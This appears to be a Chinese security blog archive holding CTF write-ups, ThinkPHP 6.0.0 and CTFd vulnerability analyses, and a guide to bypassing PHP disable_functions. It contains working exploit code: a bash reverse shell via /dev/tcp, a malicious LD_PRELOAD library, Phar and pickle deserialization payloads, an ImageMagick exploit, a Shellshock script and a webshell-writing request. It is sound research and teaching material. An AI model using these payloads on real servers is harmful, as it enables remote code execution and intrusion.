遍历 AST 找到 (chr)(101) 这类节点使用 chr 函数获取字符串值然后替换该节点

// 解 chr 函数混淆
class chr2Str extends NodeVisitorAbstract {
    public function leaveNode(Node $node){
        if ($node instanceof Node\Expr\FuncCall &&
            is_string($node->name->value) &&
            $node->name->value == 'chr' &&
            count($node->args) === 1 &&
            $node->args[0] instanceof Node\Arg &&
            $node->args[0]->value instanceof Node\Scalar\LNumber
        ){
            $the_num = $node->args[0]->value->value;
            return new Node\Scalar\String_(chr($the_num));
        }    
    }
}

此时再计算一次数字表达式然后去 chr 函数，看看效果

解字符拼接混淆

找到 concat 节点，拼接左右的字符串

// 解字符拼接混淆
class concat2Str extends NodeVisitorAbstract
{

    public function leaveNode(Node $node)
    {
        if ($node instanceof Node\Expr\BinaryOp\Concat){
            if ($node->left instanceof Node\Scalar\String_ && 
                is_string($node->left->value) &&
                $node->right instanceof Node\Scalar\String_ &&
                is_string($node->right->value) 
                ){
                return  new Node\Scalar\String_($node->left->value . $node->right->value);    
            }

        }
    }
}

解 str_rot13 函数混淆

和上面解 chr 函数混淆差不多

// 解 str_rot13 函数混淆
class rot13Decoder extends NodeVisitorAbstract{
    public function leaveNode(Node $node){
        if ( $node instanceof  Node\Expr\FuncCall &&
            $node->name instanceof Node\Scalar\String_ &&
            is_string( $node->name->value ) &&
            $node->name->value == 'str_rot13' &&
            count( $node->args ) === 1 &&
            $node->args[0] instanceof Node\Arg &&
            $node->args[0]->value instanceof Node\Scalar\String_ &&
            is_string($node->args[0]->value->value)
            ){
                return new Node\Scalar\String_(str_rot13($node->args[0]->value->value));
            }
    }
}

解 call_user_func_array 函数混淆

最后如果觉得 ('call_user_func_array')('call_user_func_array', $var_1) 这种样子不太直观也可以替换一下

class callUserFuncDecoder extends NodeVisitorAbstract {
    public function leaveNode (Node $node){
        if ( $node instanceof  Node\Expr\FuncCall &&
        $node->name instanceof Node\Scalar\String_ &&
        is_string( $node->name->value ) &&
        $node->name->value == 'call_user_func_array' &&
        count( $node->args ) === 2 &&
        $node->args[0] instanceof Node\Arg &&
        $node->args[1] instanceof Node\Arg &&
        $node->args[0]->value instanceof Node\Scalar\String_ &&
        is_string($node->args[0]->value->value) &&
        $node->args[0]->value->value == 'call_user_func_array'
        ){
            $varName = $node->args[1]->value->name;
            return new Node\Expr\FuncCall(new Node\Name('call_user_func_array'),[new Node\Scalar\String_('call_user_func_array'), new Node\Expr\Variable($varName)]);
        }
    }
}

此时已经基本没啥阅读障碍了

Reference

https://blog.zsxsoft.com/post/42

https://github.com/nikic/PHP-Parser/blob/master/doc

高校战“疫”网络安全分享赛 Web Partial WriteUp

2020-03-11T16:00:00.000Z

点击阅读

sqlcheckin

给出了源码（部分

 
    // ...
    $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
    $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
    $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
    $stmt->execute();
    $result = $stmt->fetchAll();
    if (count($result) > 0) {
        if ($result[0]['username'] == 'admin') {
            include('flag.php');
            exit();
    // ....

手动测了很久，发现挺严格的

waf 过滤不少字符和语句，最后用字典 fuzz 几次，就得到了 flag，这里利用的是 MySQL 字符串与数字比较会自动转换的一个 trick

PHP-UAF

PHP 7.0 < 7.4 (Unix) - ‘debug_backtrace’ disable_functions Bypass

https://www.exploit-db.com/exploits/48072

https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

测试可以直接 ?cmd=print_r(file_put_contents(%27../111%27,%27test%27)); 写入文件

而且清理的并不及时，经常能看到师傅们留下的脚本

直接使用就行了

flag{SObARsac1TyC0V9B}

webtmp

Python 反序列化

不过过滤了 R 指令而且重写了find_class方法只允许包含__main__这一个 module

所以思路是通过 GLOBAL 指令引入变量，也就是题目中的 secret ，因为原变量的引用。在栈上修改它的值，从而导致原变量也被修改，覆盖原 secret，再最后反序列化即可，原理类似这篇文章：https://zhuanlan.zhihu.com/p/89132768

# -*- coding: utf-8 -*-
# @Author: J0k3r
# @Date:   2020-03-07 17:29:27
import pickle
import base64
import pickletools
import secret

class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category

obj = Animal('ccc', 'zzz')
pdv3 = pickle.dumps(obj,protocol=3)
p = pickletools.optimize(pdv3)
pickletools.dis(p)
payload_pre = b'\x80\x03c__main__\nsecret\n}(Vname\nVccc\nVcategory\nVzzz\nub0'
payload = payload_pre + p[2:]
print(payload)
pickletools.dis(payload)
pickle_data = base64.b64encode(payload).decode()
print(pickle_data)

flag{409ed945-5b77-4ec3-97e1-b395778842ba}

hackme

www.zip 拿到源码

根据 php_serialize 和 php 两种 session 序列化引擎的不同，在填写签名的时候进行注入

name|s:5:"admin";sign|a:1:{s:5:"admin";i:1;}admin|i:1;

此时访问 /core，得到剩余源码



require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #hint : core/clear.php
    $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_POST['url'])) {
        $url = $_POST['url'];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                echo "you are hacker";
            } else {
                $res = parse_url($url);
                if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                    $code = file_get_contents($url);
                    if (strlen($code) <= 4) {
                        @exec($code);
                    } else {
                        echo "try again";
                    }
                }
            }
        } else {
            echo "invalid url";
        }
    } else {
        highlight_file(__FILE__);
    }
} else {
    die('只有管理员才能看到我哟');
}

一看就是 host 绕过 + hitcon 2017 那个 babyfirst-revengev2 执行命令，不过当时这个没做出来，没想到用 url=compress.zlib://data:@127.0.0.1/baidu.com?,ls 绕，我 tcl

webct

题目 www.zip 中给了源码

有测试mysql服务器、文件上传，再看下 Listfile 类

class Listfile
{
    public $file;
    function __construct($file)
    {
        $this->file=$file;
    }
    function listdir(){
        system("ls ".$this->file)."
";
    }
    function __call($name, $arguments)
    {
        system("ls ".$this->file);
    }
}

标准的 Mysql Client 任意文件读取 + Phar 反序列化进行 RCE

反序列化 exp：



class Fileupload
{
    public $file;
    function __construct($file)
    {
        $this->file = $file;
    }
    function __destruct()
    {
        $this->file->xs();
    }
}

class Listfile
{
    public $file;
    function __construct($file)
    {
        $this->file=$file;
    }
    function listdir(){
        system("ls ".$this->file)."
";
    }
    function __call($name, $arguments)
    {
        system("ls ".$this->file);
    }
}

//$l = new Listfile("/ && curl 127.0.0.1:7777");
$l = new Listfile("/ && /readflag");
$f = new Fileupload($l);
$sf = serialize($f);
var_dump($sf);
$b = unserialize($sf);
$p = new Phar('./pp.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('pp.phar', 'pp.gif');

将生成的伪装成 gif 的 phar 文件上传

在自己的服务器上伪造一个 mysql 服务端，可以使用 https://github.com/Gifts/Rogue-MySql-Server/blob/78ebbfcdb6ea986d60fe6dc930c4776f79acaf9a/rogue_mysql_server.py#L41 这个脚本

修改其 filelist 中的文件名为 phar 协议

phar://uploads/15844deb09884fccfd98166aa2c11990/1d00be8e06978e935acb75ad6caad48c.gif/test.txt

服务器启动脚本，本地访问题目测试mysql服务器即可触发

本题 mysqli 的 options 设置的挺坑，要求 int，而网上一些文章都是直接填 MYSQLI_OPT_LOCAL_INFILE ，简直是误导，而且这个就算爆出 PHP Warning，某些环境下还是可以使用 LOAD LOCAL INFILE 语句的，应该和其他配置有关

MYSQLI_OPT_LOCAL_INFILE 值为 8，所以本地 option 传入值为 int 8

flag：flag{bfa7ea9865f08c320abab5323a1b522c1}

http://phoebe233.cn/index.php/archives/27/

https://blog.csdn.net/nzjdsds/article/details/82461112

http://www.pdsdt.lovepdsdt.com/index.php/2020/03/09/187/

i春秋新春战役公益赛-出题记录

2020-03-02T16:00:00.000Z

点击阅读

i春秋新春战役公益赛-出题记录

本次比赛也是有幸出了一个 Web 题目——easy_thinking，题目本身并不难，最后做出来的人也不少，本来以为是动态 Docker 下发的题目，结果不是，结束后看过一些网上师傅们的思路发现可以直接骑别人的马拿 flag，emmmm

大部分都是通过 Use After Free in GC with Certain Destructors 这个 php7.0 到 php7.3 的 bug 来打的，本意其实是希望使用 gnupg 这个模块

WriteUp

URL 简单测试下报错，发现是 ThinkPHP V6.0.0

Web 目录扫描，拿到源码，简单审计下

看下应用代码，发现 session 使用方法不合理，会将部分搜索关键字保存在 session 中，即存在任意文件操作漏洞，可以利用这点写入 php 文件，具体分析可参考网络文章

先注册一个账号，在登录时设置一个 32 位长度的 PHPSESSID 作为文件名

在搜索处写入 php 代码，得到 /runtime/session/sess_c465f41ee715df8c726dcc4742a6.php，antsword 连接，发现无法执行终端命令

查看 phpinfo 后发现 disable_functions

passthru,mail,error_log,mb_send_mail,imap_mail,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

使用 LD_PRELOAD 绕过，虽然限制了很多常用来 bypass 的函数，但是在 phpinfo 信息中注意到有个不常见的 gnupg 模块，推测可以利用

本地测试可以发现使用 gnupg 拓展下的 gnupg_init() 函数可以进行 bypass

先本地生成 exp.so， gcc --share -fPIC exp.c -o exp.so

antsword 上传文件到 /tmp/exp.so

写入以下 php 文件

1	putenv("cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");putenv("LD_PRELOAD=/tmp/exp.so");gnupg_init();?>

反弹 shell，执行 /readflag 读取 flag 文件

get flag

ThinkPHP v6.0.0~6.0.1 任意文件操作漏洞分析

2020-03-01T16:00:00.000Z

点击阅读

漏洞简介

影响版本：ThinkPHP 6.0.0 ～ThinkPHP 6.0.1

漏洞危害：任意文件操作，getshell

官方补丁：https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2

漏洞分析

1. 搭建环境

安装漏洞版本的 ThinkPHP

测试使用 composer create-project topthink/think=6.0.0 tp6.0.0 命令安装的时候会自动安装 6.0.2 版本的 framework

可以使用 composer create-project topthink/framework=6.0.0 tpframework 命令下载指定版本的 framework，再替换过去即可

下载若出现 SSL: Handshake timed out 错误的可以尝试换源并在 php.ini 中重新设置超时时间

composer config -g repo.packagist composer https://packagist.phpcomposer.com

default_socket_timeout = 360

2. 复现

开启 Session，在全局的中间件定义文件中删除 Session 初始化注释


// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    // \think\middleware\LoadLangPack::class,
    // Session初始化
    \think\middleware\SessionInit::class
];

自定义一个漏洞方法

public function vuln()
{
$para = Request::get('para');
Session::set('testSession', $para);
return 1;
}

发送以下请求

GET /index/vuln?para=%3C?php%20phpinfo();?%3E HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=/../../../000000000000000000.php
Upgrade-Insecure-Requests: 1

即在 web 根目录生成 000000000000000000.php （如果有写入权限的话）

3. 分析

看下官方 github 的 commit

对 $id 使用 ctype_alnum 检测其是否全部为字母和(或)数字字符

下面我就 debug 跟一下调用看看是如何通过 session 写入文件的

在开启 Session 初始化的全局中间件之后，ThinkPHP 会调用反射执行类的实例化，加载 \think\middleware\SessionInit

之后通过中间件调度管道，调用 SessionInit 的 handle 类方法进行 session初始化

跟进 handle 函数，来到 /vendor/topthink/framework/src/think/middleware/SessionInit.php，首先获取的 $varSessionId值为空，下面跟进 $this->session->getName()

来到 /vendor/topthink/framework/src/think/session/Store.php，Store 类构造函数会调用其 setId 方法，来到漏洞代码处，但此时为 Store 类的初始化阶段，并没有 id 参数传入

接着通过 Store 类的 getName 方法获取 sessionName，之后会赋值给 $cookieName

而 sessionName 的值在 Store 类中定义好了的，即 "PHPSESSID"

返回到 SessionInit，所以此处的 $cookieName 的值为"PHPSESSID"

接着往下开始获取 $sessionId ，关键一步出现了，由于 $varSessionId 的值为空，所以 if 判断之后，$sessionId 的值就是名称为 PHPSESSID 的 cookie 值，也是后来写入的文件名，接下来将 $sessionId 直接传入 setId 函数进行判断

又来到漏洞代码处，就是在个时候在这里未对 $id 值做除长度之外的限制，从而可以直接写入任意文件

在上面将 PHPSESSID 的值赋值给 id后一路跟进，再次来到 /vendor/topthink/framework/src/think/session/Store.php，终于开始保存 session 数据，获取 $sessionId，即 PHPSESSID 的值，这里测试使用的是 c465f41ee715df8c726dcc4742a6.php

将 data 序列化之后通过 write 函数将序列化的数据保存在 c465f41ee715df8c726dcc4742a6.php 文件中

跟进 write 函数，在文件名前加上了 sess_ 前缀，再调用 writeFile 函数写入

跟进 writeFile，最终 file_put_contents 完成写入

成功写入 WebShell

在 /vendor/topthink/framework/src/think/session/Store.php:254 中不难看出还有个 delete 函数，用于删除 session

public function save(): void
{
    $this->clearFlashData();

    $sessionId = $this->getId();
    
    if (!empty($this->data)) {
        $data = $this->serialize($this->data);

        $this->handler->write($sessionId, $data);    
    } else {
        $this->handler->delete($sessionId);
    }

    $this->init = false;
}

这里我也进行了测试，看能否删掉在 web 根目录下的 000000000000000000.php，跟进 delete，

显然是通过 getFileName 获取文件名后直接进行删除操作了，但是 getFileName 函数会自动对文件名加上 sess_ 前缀

这就直接导致在最后 unlink 删除操作之前的 is_file 判断过不了

这也算是比较经典的问题了，因为 php 在读写文件时使用的是 php_stream_open_wrapper_ex 进行流处理，其最后会使用 tsrm_realpath 函数将文件名标准化成一个绝对路径，通过处理 ../ 等特殊符号，文件路径中间有不存在的目录时也不会影响，而判断文件存在、重命名、删除文件等操作无需打开文件流，也就不会进行这种处理，导致报错

漏洞总结

该漏洞主要危害还是文件写入，而文件删除实际测试来看还是比较有限制的，可操作性不强

v6 版本的 ThinkPHP 较之前版本还是有不少变化的，通过 debug 逐步分析漏洞能更好的捋清漏洞的形成过程，了解新的框架执行流程和开发思想

Reference

https://paper.seebug.org/1114/

http://d1iv3.me/2018/04/15/%E4%BB%8EPHP%E6%BA%90%E7%A0%81%E7%9C%8BPHP%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C%E7%BC%BA%E9%99%B7%E4%B8%8E%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7/

CVE-2020-7245 CTFd 任意账户接管漏洞分析

2020-02-29T16:00:00.000Z

影响版本：CTFd v2.0.0 - v2.2.2

0x01 漏洞简介

影响版本：CTFd v2.0.0 - v2.2.2

漏洞危害：接管任意帐户 (已知用户名且开启了电子邮件)

官方补丁：https://github.com/CTFd/CTFd/pull/1218/files

0x02 漏洞分析

使用 CTFd v2.2.0 版本进行分析，直接本地以 debug 模式运行，在后台开启邮件验证并设置好 smtp 服务器配置信息用于后面发送重置邮件

1. 漏洞复现

注册一个用户名为 targetUser 的用户，将该用户作为目标用户

新注册一个用户，用户名为 target 且用户名头部或者尾部添加空格

通过忘记密码来生成重置链接

访问链接即可重置目标用户的密码接管 target

2. 漏洞分析

当我们再注册新用户的时候 CTFd 通过 /CTFd/auth.py 中的 register 函数进行处理

用户名，也就是代码中的 name 的值是直接从表单中获取的，然后用该 name 值查询数据库中是否有同名用户，如果 names 返回值不为空，则会得到一个用户名已存在的错误

在往下跟进

在其他如用户名长度、邮箱、密码等检查项没有问题之后，将该注册用户插入到数据库中，这时的 name 经过了 strip() 函数的处理， strip() 也是常用来移除字符串头尾指定字符的函数，默认是去除首尾的空格或换行符，也就是说这里入库前后的 name 是不同的

那么在用户名头部或者尾部添加若干空格即可绕过有关用户名唯一性的检测，使用该方法新注册一个账号，结果如下

那么只需要重置该用户密码即可接管 targetUser 用户，跟进看下 reset_password 函数，/CTFd/auth.py ，98 行

def reset_password(data=None):
    if data is not None:
        try:
            name = unserialize(data, max_age=1800)
        except (BadTimeSignature, SignatureExpired):
            return render_template(
                "reset_password.html", errors=["Your link has expired"]
            )
        except (BadSignature, TypeError, base64.binascii.Error):
            return render_template(
                "reset_password.html", errors=["Your reset token is invalid"]
            )

        if request.method == "GET":
            return render_template("reset_password.html", mode="set")
        if request.method == "POST":
            user = Users.query.filter_by(name=name).first_or_404()
            user.password = request.form["password"].strip()
            db.session.commit()
            log(
                "logins",
                format="[{date}] {ip} -  successful password reset for {name}",
                name=name,
            )
            db.session.close()
            return redirect(url_for("auth.login"))

    if request.method == "POST":
        email_address = request.form["email"].strip()
        team = Users.query.filter_by(email=email_address).first()

        get_errors()

        if config.can_send_mail() is False:
            return render_template(
                "reset_password.html",
                errors=["Email could not be sent due to server misconfiguration"],
            )

        if not team:
            return render_template(
                "reset_password.html",
                errors=[
                    "If that account exists you will receive an email, please check your inbox"
                ],
            )

        email.forgot_password(email_address, team.name)

        return render_template(
            "reset_password.html",
            errors=[
                "If that account exists you will receive an email, please check your inbox"
            ],
        )
    return render_template("reset_password.html")

可以输入自己的 email ，接着通过 email.forgot_password(email_address, team.name)发送找回密码的邮件

跟进 forgot_password 函数，/CTFd/utils/email/__init__.py，19 行

def forgot_password(email, team_name):
    token = serialize(team_name)
    text = """Did you initiate a password reset? Click the following link to reset your password:

{0}/{1}

""".format(
        url_for("auth.reset_password", _external=True), token
    )

    return sendmail(email, text)

此处的 team_name 是要接管的用户名，查看序列化生成 token 的方法， /CTFd/utils/security/signing.py

def serialize(data, secret=None):
    if secret is None:
        secret = current_app.config["SECRET_KEY"]
    s = URLSafeTimedSerializer(secret)
    return s.dumps(data)


def unserialize(data, secret=None, max_age=432000):
    if secret is None:
        secret = current_app.config["SECRET_KEY"]
    s = URLSafeTimedSerializer(secret)
    return s.loads(data, max_age=max_age)

使用了 URLSafeTimedSerializer 生成 token

到这里，利用流程就很明确了

得到重置密码链接

访问链接，填写新密码，再重新登陆即可接管目标用户

中间在访问重置链接之前的修改用户名的步骤不做也是可以的，因为在 reset_password 函数中反序列化重置链接的 data 得到用户名后，查询方法是 Users.query.filter_by(name=name).first_or_404() ，一般来说目标用户的 id 总是靠前的

Reference:

https://www.colabug.com/2020/0204/6940556/amp/

https://github.com/CTFd/CTFd/pull/1218/files

PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数

2020-02-12T16:00:00.000Z

文章首发于安全客：https://www.anquanke.com/post/id/197745

在渗透过程中，有很多 PHP 站点往往设置了disable_functions 来禁止用户调用某些危险函数，给 Getshell 带来了很大的不便，本文对一些常见的绕过方法的原理和使用稍做总结，顺便分享一个 Fuzz 方法，学习一下。

如有错误，欢迎师傅们指正

0x01 常用姿势

1. 黑名单 bypass

众所周知，disable_functions 是基于黑名单来实现对某些函数使用的限制的，既然是黑名单有时候就难免会有漏网之鱼

PHP 中能直接执行系统程序的函数

system()
shell_exec(）
exec()
passthru()
popen()
proc_open()
pcntl_exec()
dl() // 加载自定义 php 扩展

PHP 中执行运算符（反引号）的效果和 shell_exec() 是相同的

一些比较严格的 disable_functions 限制项

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

2. LD_PRELOAD & putenv() bypass disable_functions

Windows？

LD_PRELOAD 是一个 Unix 中比较特殊的环境变量，也产生过很多安全问题

简介

LD_PRELOAD 是一个可选的 Unix 环境变量，包含一个或多个共享库或共享库的路径，加载程序将在包含 C 运行时库（libc.so）的任何其他共享库之前加载该路径。这称为预加载库。

也就是说它可以影响程序的运行时的链接（Runtime linker），它允许你定义在程序运行前优先加载的动态链接库。即我们可以自己生成一个动态链接库加载，以覆盖正常的函数库，也可以注入恶意程序，执行恶意命令。

LD_PRELOAD 绕过 disable_functions 的原理就是劫持系统函数，使程序加载恶意动态链接库文件，从而执行系统命令等敏感操作

举个例子，我们来改变一下 Linux 系统中最常见的命令 —— id

strace -f id

使用 strace 对应用的系统调用和信号传递的跟踪结果来对应用进行分析，了解应用工作过程的

strace会记录和解析命令进程的所有系统调用以及这个进程所接收到的所有的信号值，要在 Docker 中使用 strace 需要先关闭安全功能再启动 docker run --security-opt seccomp:unconfined -d xxx

像这种简单的无参系统函数就是比较好的劫持对象，

man 2 geteuid 命令查看 geteuid 系统函数需要什么头文件和格式

#include 
#include 

uid_t geteuid(void){
        system("cat /etc/passwd");
}

生成动态链接库

gcc --share -fPIC bad.c -o bad.so

使用 LD_PRELOAD 加载刚生成的 bad.so，再执行 id 命令看看效果

LD_PRELOAD=./bad.so id

LD_PRELOAD 作为进程独占环境变量，它与待执行命令间必须为空白字符

成功执行的我们自定义的恶意代码，读取了 passwd 文件

通用动态链接库代码

#include 
__attribute__((constructor)) void j0k3r(){
    unsetenv("LD_PRELOAD");
    if (getenv("cmd") != NULL){
        system(getenv("cmd"));
    }else{
        system("echo 'no cmd' > /tmp/cmd.output");
    }
}

利用 GNU C 中的特殊语法 __attribute__ ((attribute-list))，当参数为 constructor 时就可以在加载共享库时运行，通常是在程序启动过程中，因为带有”构造函数”属性的函数将在 main() 函数之前被执行，类似的，若是换成 destructor 参数，则该函数会在 main() 函数执行之后或者 exit() 被调用后被自动执行

也就是说在 PHP 运行过程中只要有新程序启动，在我们加载恶意动态链接库的条件下，便可以执行 .so 中的恶意代码

比如 PHP 中经典的 mail() 函数，看看当 PHP 执行 mail() 函数的时候有没有执行程序或者启动新进程

strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"

可以明显发现 mai() 函数使用 execve 启动了 sendmail，接着可以使用 readelf -Ws 或者 strace 命令查看 sendmail 程序的系统函数调用情况

在 PHP 中使用 putenv() 函数设置环境变量, 仅存活于当前请求期间。在请求结束时环境会恢复到初始状态


putenv("cmd=cat /etc/passwd");
putenv("LD_PRELOAD=./bad.so");
mail('','','','');

运行该 PHP 文件即可成功执行命令，就算没有安装 sendmail 也能成功利用

如果 mail() 函数无法使用，也可以使用 error_log('',1) 或者 mb_send_mail('','','') 和 imap_mail("1@a.com","0","1","2","3")（如果 PHP 开启了 imap 模块）

如果 PHP 安装了 imagick 模块，则还可以使用 Imagick，其在遇到 MPEG format 的时候，会调用 ffmpeg 进程来处理，比如使用 new Imagick('1.mp4')

文章后面有一部分关于确定这类使用 execve 系统调用的 php 函数的 Fuzz 方法

3. ImageMagick bypass disable_functions

利用 ImageMagick 命令执行漏洞（CVE-2016–3714）


echo "Disable Functions: " . ini_get('disable_functions') . "\n";

function AAAA(){
$command = 'curl 127.0.0.1:7777';

$exploit = <<
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
}
AAAA();
?>

复现环境 https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1

4. PHP 5.x Shellshock Exploit (bypass disable_functions)

PHP < 5.6.2 - ‘Shellshock’ Safe Mode / Disable Functions Bypass / Command Injection

exploit-db 上的脚本

# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

 echo "Disabled functions: ".ini_get('disable_functions')."\n"; ?>

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

5. PHP-FPM/FastCGI bypass disable_functions

大家都知道。Web Server 只是负责分发数据，那如果 Nginx 遇到 php 动态请求该怎么处理，这时就需要了解 PHP-FPM 和 FastCGI 了

FastCGI 是用于将交互式程序与 Web 服务器接口的二进制协议。FastCGI 是早期的通用网关接口（CGI）的变体。FastCGI 的主要目的是减少与Web服务器和 CGI 程序接口相关的开销，从而使服务器可以一次处理更多的网页请求。

PHP-FPM（ FastCGI 进程管理器）是另一种 PHP FastCGI 实现，具有一些其他功能，可用于各种规模的站点，尤其是繁忙的站点。PHP-FPM 也是用于调度管理 PHP 解析器php-cgi 的管理程序，php-cgi 作为 PHP 自带的解释器，只是个 CGI 程序，除了解析请求返回结果之外，并不能管理进程，也就无法做到修改 php.ini 配置文件后平滑重启

即 FastCGI 是 CGI 协议的升级版，用于封装 webserver 发送给 php 解释器的数据，通过 PHP-FPM 程序按照 FastCGI 协议进行处理和解析数据，返回结果给 webserver

PHP5.3 版本之后，PHP-FPM 是内置于 PHP 的，一般来说，尤其是在高并发的情况下，nginx + PHP-FPM 的组合要比 apache + mod_php 好很多

那么伪造请求发送给 PHP-FPM 不就可以任意代码执行

脚本：https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

本地测试

python fpm.py -c '' -p 9999 127.0.0.1 /var/www/html/test.php

6. Windows 系统组件 COM

COM（Component Object Model）组件对象模型，是一种跨应用和语言共享二进制代码的方法。COM 可以作为 DLL 被本机程序载入也可以通过 DCOM 被远程进程调用

C:\Windows\System32 下的 wshom.ocx 能够提供 WshShell 对象和 WshNetwork 对象接口的访问，也就是提供对本地 Windows shell 和计算机所连接的网络上共享资源的访问

php.ini 中开启 com.allow_dcom

com.allow_dcom = true

因为是在 Windows，如果在拓展文件夹 php/ext/ 中存在 php_com_dotnet.dll

到 php.ini 中开启拓展

extension=php_com_dotnet.dll

重启服务在 phpinfo 中就能看到开启了 com_dotnet


$command = $_GET['cmd'];
$wsh = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

使用上面的 PHP 代码通过 COM 对象的 exec() 方法即可绕过 disable_functions 执行命令

7. PHP 5.2.3 win32std extension safe_mode and bypass disable_functions

这个貌似比较古老了 https://www.exploit-db.com/exploits/4218

exploit-db 上的 exp


//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Thanks to rgod for all his precious advises :)

//I set php.ini in this way:
//safe_mode = On
//disable_functions = system
//if you launch the exploit from the cli, cmd.exe will be wxecuted
//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager

if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>

8. FFI 绕过 disable_functions

PHP7.4 的一个新特性 FFI（Foreign Function Interface），即外部函数接口，可以让我们在 PHP 中调用 C 代码

建议在 Docker 中进行测试

1
2
3

apt-get install libffi-dev

docker-php-ext-install ffi

通常使用 FFI::cdef 创建一个新的 FFI 对象，下面是官方说明

public static FFI::cdef ([ string $code = "" [, string $lib ]] ) : FFI

Parameters
code
A string containing a sequence of declarations in regular C language (types, structures, functions, variables, etc). Actually, this string may be > copy-pasted from C header files.
Note:
C preprocessor directives are not supported, i.e. #include, #define and CPP macros do not work.
lib
The name of a shared library file, to be loaded and linked with the definitions.
Note:
If lib is omitted, platforms supporting RTLD_DEFAULT attempt to lookup symbols declared in code in the normal global scope. Other systems will fail to > resolve these symbols.

那如何执行系统命令呢，使用 FFI::cdef 声明一个 system 函数使用就可以了， man system 查看 system 函数说明，直接复制就好



$ffi = FFI::cdef(
    "int system(const char *command);",
    "libc.so.6");

$ffi->system("id");

?>

成功执行

